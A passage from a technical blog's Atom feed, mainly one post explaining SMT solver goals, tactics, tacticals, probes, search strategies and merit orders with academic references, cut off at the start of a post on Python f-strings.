&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/math/b2-a2.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/08/12/Difference-of-Two-Squares.html" rel="alternate" type="text/html" title="Difference of two squares"/>
    <category term="math" label="math"/>
    <published>2021-08-12T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/07/12/SMT-Goals-and-Strategies.html</id>
    <title>SMT Goals and Strategies</title>
    <updated>2021-07-12T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;SMT/SAT problems are in general &lt;em&gt;undecidable&lt;/em&gt;: basically we cannot know if we can get even an answer. The &lt;em&gt;search space&lt;/em&gt; is in general infinite.&lt;/p&gt;
&lt;p&gt;But several concrete problems have a reduced space and &lt;em&gt;may be tractable&lt;/em&gt;: while theoretical really hard, we can find a solution in a reasonable time.&lt;/p&gt;
&lt;p&gt;Still, a solver may need some extra help to navigate across the search space.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;strategy&lt;/em&gt; is a &lt;em&gt;guide&lt;/em&gt; that hopefully will lead to a solution (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unsat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) in a &lt;em&gt;reasonable time&lt;/em&gt; using a &lt;em&gt;reasonable amount of resources&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;It is quite an art and the concepts were around for more than 30 years.&lt;/p&gt;
&lt;p&gt;This post is a quick overview of concepts like &lt;em&gt;strategies&lt;/em&gt;, &lt;em&gt;tactics&lt;/em&gt;, &lt;em&gt;tacticals&lt;/em&gt;, &lt;em&gt;merit order&lt;/em&gt;, &lt;em&gt;cost functions&lt;/em&gt;, &lt;em&gt;heuristic functions&lt;/em&gt;, &lt;em&gt;goals&lt;/em&gt;, &lt;em&gt;approximations&lt;/em&gt;, &lt;em&gt;redundancy control&lt;/em&gt;, &lt;em&gt;search strategies&lt;/em&gt;, &lt;em&gt;probes&lt;/em&gt; and a few more.&lt;/p&gt;
&lt;p&gt;Quite a heavy post I’m afraid.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="goals"&gt;Goals&lt;/h2&gt;
&lt;p&gt;A &lt;em&gt;goal&lt;/em&gt; is what we want to solve. Depending of the underlying &lt;em&gt;theory&lt;/em&gt; this can be:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a set of inequations, and we want to see if there is a solution to them.&lt;/li&gt;
&lt;li&gt;a set of propositional clauses, and want to see if exist propositional variables to make them true.&lt;/li&gt;
&lt;li&gt;even a combination of theories are possible.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let be the &lt;em&gt;goal set&lt;/em&gt; \({G}\) consisting of a single goal \(G\):&lt;/p&gt;
$$
G: [ a = b + 1, (a &lt; 0 ∨ a &gt; 0), b &gt; 3 ]
$$
&lt;p&gt;The goal is to see if there is an &lt;em&gt;assignment&lt;/em&gt; for \(a\) and \(b\) such those inequations hold or if there is a &lt;em&gt;contradiction&lt;/em&gt; so it doesn’t exist such assignment.&lt;/p&gt;
&lt;p&gt;In the first case we say that the such assignment &lt;em&gt;satisfies&lt;/em&gt; the goal (the solver returned &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;); in the second case the problem is &lt;em&gt;unsatisfied&lt;/em&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unsat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="tactics"&gt;Tactics&lt;/h2&gt;
&lt;p&gt;A &lt;em&gt;tactic&lt;/em&gt; tries to solve the goal or at least tries to make it easier to solve.&lt;/p&gt;
&lt;p&gt;The tactic &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;elim&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, for example, eliminates intermedian variables such given \(a = b + 1\) the tactic can eliminate \(a\) and replace it by \(b + 1\).&lt;/p&gt;
&lt;p&gt;It doesn’t solve the problem, but it makes it a little easier to solve later.&lt;/p&gt;
&lt;p&gt;A tactic may have 4 possible results:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: the tactic resolved the goal and returned a &lt;em&gt;model&lt;/em&gt;, an &lt;em&gt;assignment&lt;/em&gt; that satisfies the goal.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unsat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: the tactic found a contradiction and returned a &lt;em&gt;proof&lt;/em&gt; of why the goal is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unsat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unknown&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: the tactic returns a set of &lt;em&gt;subgoals&lt;/em&gt;, hopefully being simpler to solve.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: the tactic didn’t work.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In this case the tactic &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;elim&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; returns &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unknown&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the following 1-goal set:&lt;/p&gt;
$$
G_1: [ (b + 1 &lt; 0 ∨ b + 1 &gt; 0), b &gt; 3]
$$
&lt;p&gt;The tactic &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; takes each goal and &lt;em&gt;splits&lt;/em&gt; the disjunctives generating a &lt;em&gt;subgoal&lt;/em&gt; per case. Like before this tactic returns &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unknown&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the subgoals (an ordered set):&lt;/p&gt;
$$
G_2: [ b + 1 &lt; 0, b &gt; 3]    \\
G_3: [ b + 1 &gt; 0, b &gt; 3]
$$
&lt;h3 id="approximations"&gt;Approximations&lt;/h3&gt;
&lt;p&gt;The tactics may &lt;em&gt;under-approximate&lt;/em&gt; by changing the initial goal by another, hopeful simpler, which if it is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; then the initial goal is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; too.&lt;/p&gt;
&lt;p&gt;An example could be adding more restrictions or assumptions: if the new &lt;em&gt;more restrictive&lt;/em&gt; problem is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; then the initial is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; too. This is known as &lt;em&gt;strengthening&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;However, if a &lt;em&gt;under-approximate&lt;/em&gt; tactic yields &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unsat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we cannot say anything about the initial goal.&lt;/p&gt;
&lt;p&gt;The tactics may also &lt;em&gt;over-approximate&lt;/em&gt; by making a new goal &lt;em&gt;less restrictive&lt;/em&gt;: if the new problem is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unsat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; then the initial goal is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unsat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; too; if the new problem is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; however, we cannot say anything else.&lt;/p&gt;
&lt;p&gt;An example could be removing restrictions or assumptions known as &lt;em&gt;weakening&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="goals-sets"&gt;Goals sets&lt;/h2&gt;
&lt;p&gt;In [2] the returned set by a tactic is in fact two: the set of goals &lt;em&gt;added&lt;/em&gt; and the set of goals &lt;em&gt;deleted&lt;/em&gt; from the initial goal set. The &lt;em&gt;deleted&lt;/em&gt; set not only deletes the goals but also &lt;em&gt;marks&lt;/em&gt; them to make sure they are not readded later (called &lt;em&gt;redundacy control&lt;/em&gt; [1])&lt;/p&gt;
&lt;p&gt;In [1] the tactic are categorized as &lt;em&gt;ordering-based&lt;/em&gt; if their input is a &lt;em&gt;set of objects&lt;/em&gt; (all the goals) and &lt;em&gt;subgoal-reduction&lt;/em&gt; if their input is a &lt;em&gt;single object&lt;/em&gt; (a single goal).&lt;/p&gt;
&lt;p&gt;The first operates over all the goals in each step and it is where it makes possible to &lt;em&gt;add&lt;/em&gt; or &lt;em&gt;remove&lt;/em&gt; goals from the set.&lt;/p&gt;
&lt;p&gt;On the other hand the second operates over each goal at time.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: [1] uses &lt;em&gt;ordering-based&lt;/em&gt; and &lt;em&gt;subgoal-reduction&lt;/em&gt; to categorize &lt;em&gt;strategies&lt;/em&gt; and not &lt;em&gt;tactics&lt;/em&gt; but it seems reasonable to stretch a little the definition.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="tactics-products-models-and-proofs"&gt;Tactics’ products: models and proofs&lt;/h3&gt;
&lt;p&gt;Note that subgoals \(G_2\) and \(G_3\) comes from a &lt;em&gt;disjunctive&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;at least one must be true to declare the parent goal &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;G_1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;all of them must be false to declare the parent goal &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;G_1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unsat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In addition the tactic must build a model from &lt;em&gt;one&lt;/em&gt; of the subgoal &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and a proof from &lt;em&gt;all&lt;/em&gt; the subgoals when they are &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unsat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is handled by the tactic’s &lt;em&gt;model converter&lt;/em&gt; and &lt;em&gt;proof converter&lt;/em&gt; functions, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;mc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for short.&lt;/p&gt;
&lt;h2 id="proof-graphs-search-graphs"&gt;Proof graphs / Search graphs&lt;/h2&gt;
&lt;p&gt;The successive application of tactics generates subgoals that induce a tree structure know as the &lt;em&gt;proof tree&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/z3/prooftree.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Formally, to say proof &lt;em&gt;tree&lt;/em&gt; we need to restrict the tactics to not generate repeated goals (so we don’t have cycles).&lt;/p&gt;
&lt;p&gt;Having then a &lt;em&gt;single&lt;/em&gt; starting goal, the &lt;em&gt;successive application&lt;/em&gt; of the tactics forms a &lt;em&gt;tree&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;We can extend this and have &lt;em&gt;multiple&lt;/em&gt; starting goals in that case we will have an &lt;em&gt;acyclic graph&lt;/em&gt; like described in [3]. (in [3] is more specific and refers to &lt;em&gt;goals&lt;/em&gt; and &lt;em&gt;tactics&lt;/em&gt; as &lt;em&gt;states&lt;/em&gt; (of a proof) and &lt;em&gt;rules of induction&lt;/em&gt; but they are the same idea).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/z3/tree2.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;With &lt;em&gt;subgoal-reduction&lt;/em&gt; tactics, the graph is generated edge by edge; with &lt;em&gt;ordering-based&lt;/em&gt; tactics, the graph is generated by multiple edges at time.&lt;/p&gt;
&lt;p&gt;Note that the generation (or walking) of this graph is non-deterministic: why you would the solver choose to explore the edge/edges from one node/nodes instead of the other?&lt;/p&gt;
&lt;p&gt;To make it deterministic we have a way to &lt;em&gt;choose&lt;/em&gt; which exploration do and in which &lt;em&gt;order&lt;/em&gt;. This is the &lt;em&gt;search strategy&lt;/em&gt; based on a &lt;em&gt;merit order&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="search-strategy"&gt;Search strategy&lt;/h2&gt;
&lt;p&gt;In [3] it is introduced the notion of &lt;em&gt;merit order&lt;/em&gt;, a relationship between every pair of nodes in the graph: \(g_i\) ≼ \(g_j\)&lt;/p&gt;
&lt;p&gt;This &lt;em&gt;merit order&lt;/em&gt; could have different definitions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;\(g_i\) ≼ \(g_j\) if \(i\) ≤ \(j\) (a &lt;em&gt;breadth first&lt;/em&gt; order)&lt;/li&gt;
&lt;li&gt;\(g_i\) ≼ \(g_j\) if \(c(g_i)\) ≤ \(c(g_j)\) for some &lt;em&gt;cost function&lt;/em&gt; \(c(n)\) ≥ \(0\).&lt;/li&gt;
&lt;li&gt;\(g_i\) ≼ \(g_j\) if \(g_i\) is in a predecesor layer or level than \(g_j\) (\(g_i\) is better than \(g_j\) because it required less applications of tactics)&lt;/li&gt;
&lt;li&gt;\(g_i\) ≼ \(g_j\) if \(g_i\) is in a successor layer than \(g_j\) (a &lt;em&gt;depth first&lt;/em&gt; order).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A &lt;em&gt;search strategy&lt;/em&gt; could use the &lt;em&gt;merit order&lt;/em&gt; to &lt;em&gt;schedule&lt;/em&gt; which goal process next:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;\(g_i\) is processed &lt;em&gt;before&lt;/em&gt; than &lt;em&gt;any&lt;/em&gt; \(g_i\) that has a worse merit than \(g_i\) (\(g_i\) ≼ \(g_j\)) &lt;em&gt;and&lt;/em&gt; worse than any &lt;em&gt;ancestor&lt;/em&gt; of \(g_i\).&lt;/li&gt;
&lt;li&gt;if \(g_i\) is generated &lt;em&gt;before&lt;/em&gt; than \(g_j\) then \(g_j\) or any of its ancestors has a worse merit than \(g_i\).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A particular case is when the &lt;em&gt;merit order&lt;/em&gt; is based on a &lt;em&gt;cost function&lt;/em&gt; \(c()\) and an &lt;em&gt;heuristic function&lt;/em&gt; \(h()\).&lt;/p&gt;
&lt;p&gt;If \(c(g_i)\) is the cost to reach \(g_i\), then \(h(g_i)\) &lt;em&gt;estimates&lt;/em&gt; the additional cost that would take to go from \(g_i\) to a &lt;em&gt;trivial goal&lt;/em&gt;, one that is ⊤ (trivially &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) or ⊥ (trivially &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unsat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The estimation can be seen as how much more will take to get to a final resolution.&lt;/p&gt;
&lt;p&gt;\(h()\) may &lt;em&gt;under-estimate&lt;/em&gt; the additional cost or &lt;em&gt;over-estimate&lt;/em&gt; it.&lt;/p&gt;
&lt;h2 id="tacticals"&gt;Tacticals&lt;/h2&gt;
&lt;p&gt;While tactics operate at the goal set level, &lt;em&gt;tacticals&lt;/em&gt; operate one level higher: they operate with the tactics.&lt;/p&gt;
&lt;p&gt;Think in tacticals as functions that receive tactics as their arguments.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a tactical that takes a tactic and applies it several times until the tactic &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fails&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elim&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; applies &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;elim&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; over and over until no other change happens.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;t2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; applies &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and if it didn’t fail applies &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;t2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;orelse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;t2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; applies &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and if it failed applies &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;t2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is a handy way to build the &lt;em&gt;strategy&lt;/em&gt; to solve the problem in terms of tacticals and tactics.&lt;/p&gt;
&lt;h2 id="probes-or-formula-measures"&gt;Probes or formula measures&lt;/h2&gt;
&lt;p&gt;A &lt;em&gt;probe&lt;/em&gt; or &lt;em&gt;formula measure&lt;/em&gt; is a tactic that does not modify the goal set but it fails or not based on attributes or properties of the current goal set.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;probe&lt;/em&gt; could count how many variables a formula has or if the inequations follow are written in a particular way.&lt;/p&gt;
&lt;p&gt;Based on a &lt;em&gt;probe&lt;/em&gt; one tactic or other could be applied next.&lt;/p&gt;
&lt;p&gt;For example &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;orelse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;t1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;t2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; applies &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;if&lt;/em&gt; the probe (or check) &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; didn’t fail otherwise &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;t2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is applied.&lt;/p&gt;
&lt;h2 id="reasoning-engines"&gt;Reasoning engines&lt;/h2&gt;
&lt;p&gt;At the end the goals needs to be translated into a suitable format and sent to the &lt;em&gt;reasoning engine&lt;/em&gt; for the final resolution.&lt;/p&gt;
&lt;p&gt;For example each inequation can be seen as a &lt;em&gt;propositional variable&lt;/em&gt; and the problem gets reduced to a SAT problem.&lt;/p&gt;
$$
G_2: [ b + 1 &lt; 0, b &gt; 3]    \\
G_3: [ b + 1 &gt; 0, b &gt; 3]    \\
                            \\
G_2 → C_2: [ p ∧ q]    \\
G_3 → C_3: [ r ∧ q]
$$
&lt;p&gt;Notice that the conversion was not 1-to-1: \(p\) and \(r\) could be \(true\) when the original inequations \(b + 1 &lt; 0\) and \(b + 1 &gt; 0\) cannot.&lt;/p&gt;
&lt;p&gt;The solver then needs to verify if the solution found by the engine is corrects and make the proper changes to the formulation and try again.&lt;/p&gt;
&lt;p&gt;And this is expensive. That’s the idea behind the strategy: make the search space smaller and try to make the conversion from the arbitrary initial &lt;em&gt;theory&lt;/em&gt; to the theory supported by the engine.&lt;/p&gt;
&lt;h3 id="reasoning-engines-as-tactics"&gt;Reasoning engines as tactics&lt;/h3&gt;
&lt;p&gt;If the solver supports more than one reasoning engine, the engine could be seen as a tactic and which engine to use being determined by the strategy like any other tactic.&lt;/p&gt;
&lt;h2 id="strategies"&gt;Strategies&lt;/h2&gt;
&lt;p&gt;Finally!&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;strategy&lt;/em&gt; is a series of &lt;em&gt;tacticals&lt;/em&gt; and &lt;em&gt;tactics&lt;/em&gt; (including the &lt;em&gt;reasoning engine&lt;/em&gt; and possibly &lt;em&gt;probes&lt;/em&gt;) that combined hope to solve a particular problem: determine if it is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and get a &lt;em&gt;model&lt;/em&gt; of it or it is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unsat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and get a &lt;em&gt;proof&lt;/em&gt; of why.&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;search space&lt;/em&gt; is in general infinite so it is not possible to solve any arbitrary problem but a strategy may &lt;em&gt;guide&lt;/em&gt; the search process into the direction that hopefully will lead to a solution (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;unsat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) in a &lt;em&gt;reasonable time&lt;/em&gt; using a &lt;em&gt;reasonable amount of resources&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The search space is generated and explored on each tactic application: multiple edges at time when a &lt;em&gt;ordered-based&lt;/em&gt; tactic is used, a single edge when it is a &lt;em&gt;subgoal-reduction&lt;/em&gt; tactic.&lt;/p&gt;
&lt;p&gt;Adding new goals &lt;em&gt;expands&lt;/em&gt; the &lt;em&gt;active&lt;/em&gt; search space; removing goals not only &lt;em&gt;reduces&lt;/em&gt; the space but also prevents future tactics to readd the removed goal offering a &lt;em&gt;redundancy control&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The application of the tactics is nondeterministic and an &lt;em&gt;well founded order&lt;/em&gt; must prioritize which tactic next.&lt;/p&gt;
&lt;p&gt;This is where a &lt;em&gt;merit order&lt;/em&gt;, a &lt;em&gt;cost function&lt;/em&gt; and a &lt;em&gt;heuristic function&lt;/em&gt; play a role to prioritize.&lt;/p&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;p&gt;[0] Moura, L.D., &amp;amp; Passmore, G. (2013). &lt;em&gt;The Strategy Challenge in SMT Solving&lt;/em&gt;. Automated Reasoning and Mathematics.&lt;/p&gt;
&lt;p&gt;[1] Bonacina, Maria Paola. (1999). &lt;em&gt;A Taxonomy of Theorem-Proving Strategies&lt;/em&gt;. 10.1007/3-540-48317-9_3.&lt;/p&gt;
&lt;p&gt;[2] Bonacina, Maria Paola &amp;amp; Hsiang, Jieh. (1998). &lt;em&gt;On the Modelling of Search in Theorem Proving — Towards a Theory of Strategy Analysis&lt;/em&gt;. Information and Computation. 147. 171-208. 10.1006/inco.1998.2739.&lt;/p&gt;
&lt;p&gt;[3] Kowalski, R. (2012). 10 &lt;em&gt;Search Strategies for Theorem-Proving&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="further-readings"&gt;Further readings&lt;/h2&gt;
&lt;p&gt;[4] Plaisted D.A. (1994) &lt;em&gt;The search efficiency of theorem proving strategies&lt;/em&gt;. In: Bundy A. (eds) Automated Deduction — CADE-12. CADE 1994. Lecture Notes in Computer Science (Lecture Notes in Artificial Intelligence (LNAI)), vol 814. Springer, Berlin, Heidelberg. https://doi.org/10.1007/3-540-58156-1_5&lt;/p&gt;
&lt;p&gt;[5] Bonacina, Maria Paola &amp;amp; Hsiang, Jieh. (1994). &lt;em&gt;Parallelization of Deduction Strategies: An Analytical Study&lt;/em&gt;. J. Autom. Reasoning. 13. 1-33. 10.1007/BF00881910.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/07/12/SMT-Goals-and-Strategies.html" rel="alternate" type="text/html" title="SMT Goals and Strategies"/>
    <category term="smt" label="smt"/>
    <category term="sat" label="sat"/>
    <category term="solver" label="solver"/>
    <published>2021-07-12T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/07/11/Home-Made-Python-F-String.html</id>
    <title>Home Made Python F-String</title>
    <updated>2021-07-11T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Python 3.6 introduced the so called &lt;em&gt;f-strings&lt;/em&gt;: literal strings that support formatting from the variable in the local context.&lt;/p&gt;
&lt;p&gt;Before 3.6 you would to do something like this:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;
